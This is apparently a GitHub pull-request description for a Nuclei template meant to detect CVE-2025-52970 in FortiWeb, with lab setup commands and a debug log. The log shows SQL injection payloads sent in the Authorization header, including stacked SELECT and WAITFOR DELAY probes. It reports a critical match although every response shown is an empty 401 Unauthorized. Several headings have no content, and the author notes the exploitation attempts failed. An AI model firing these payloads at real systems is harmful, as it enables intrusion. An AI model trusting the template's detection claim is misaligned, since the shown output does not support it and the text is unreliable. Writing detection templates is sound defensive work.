This PR adds a Nuclei template to detect CVE-2025-52970, a critical SQL injection vulnerability in Fortinet FortiWeb’s device status API that bypass authentification & leads to remote code execution.
What the Original Exploit Script Does
What This Nuclei Template Does This template provides safe, non-destructive detection of the vulnerability by:
Quick start
config system interface
edit port1
set ip 10.27.43.200/24
set allowaccess https http ping
end
Block 2: Configure the Default Gateway
config router static
edit 1
set device port1
set gateway 10.27.43.229
next
end
No restart required, but prefer to restart, access the UI from your browser http://10.27.43.200/
Lab details
https://10.27.43.200 (mgmt UI reachable)/api/v2.0/system/status.systemstatus401 Unauthorizedroot@DESKTOP-6QN3GRE:~/nuclei/nuclei-templates# nuclei -t http/cves/2025/CVE-2025-52970.yaml -u https://10.27.43.200/ -debug -irr
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] [fortigate-fortiweb-sqli-cve-2025-52970] Dumped HTTP request for https://10.27.43.200/api/fabric/device/status
GET /api/fabric/device/status HTTP/1.1
Host: 10.27.43.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Authorization: Bearer ';SELECT/**/1;--
Connection: close
[DBG] [fortigate-fortiweb-sqli-cve-2025-52970] Dumped HTTP response https://10.27.43.200/api/fabric/device/status
HTTP/1.1 401 Unauthorized
Connection: close
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
Date: Thu, 11 Sep 2025 11:15:26 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 0
[INF] [fortigate-fortiweb-sqli-cve-2025-52970] Dumped HTTP request for https://10.27.43.200/api/fabric/device/status
GET /api/fabric/device/status HTTP/1.1
Host: 10.27.43.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Authorization: Bearer ';WAITFOR/**/DELAY/**/'0:0:10';--
Connection: close
[DBG] [fortigate-fortiweb-sqli-cve-2025-52970] Dumped HTTP response https://10.27.43.200/api/fabric/device/status
HTTP/1.1 401 Unauthorized
Connection: close
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
Date: Thu, 11 Sep 2025 11:15:26 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 0
[fortigate-fortiweb-sqli-cve-2025-52970:dsl-1] [http] [critical] https://10.27.43.200/api/fabric/device/status
[INF] [fortigate-fortiweb-sqli-cve-2025-52970] Dumped HTTP request for https://10.27.43.200/api/fabric/device/status
GET /api/fabric/device/status HTTP/1.1
Host: 10.27.43.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Authorization: Bearer ';SELECT/**/@@version;--
Connection: close
[DBG] [fortigate-fortiweb-sqli-cve-2025-52970] Dumped HTTP response https://10.27.43.200/api/fabric/device/status
HTTP/1.1 401 Unauthorized
Connection: close
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
Date: Thu, 11 Sep 2025 11:15:26 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 0
[INF] Scan completed in 69.702849ms. 1 matches found.
root@DESKTOP-6QN3GRE:~/nuclei/nuclei-templates#
What I tried
Era=9) as per public writeups, not succeedI’ve validated this template locally?
/api/v2.0/system/status.systemstatus401 Unauthorized for both plain and cookie-variant probesHTTP/1.1 401 Unauthorized
Set-Cookie: APSCOOKIE_FWEB_733867907=0&0; path=/; expires=Tue, 23-Sep-1975 ...
Content-Length: 0
/claim #13123
Benraouane Soufiane
@benraouanesoufiane-proton-me
ProjectDiscovery
@projectdiscovery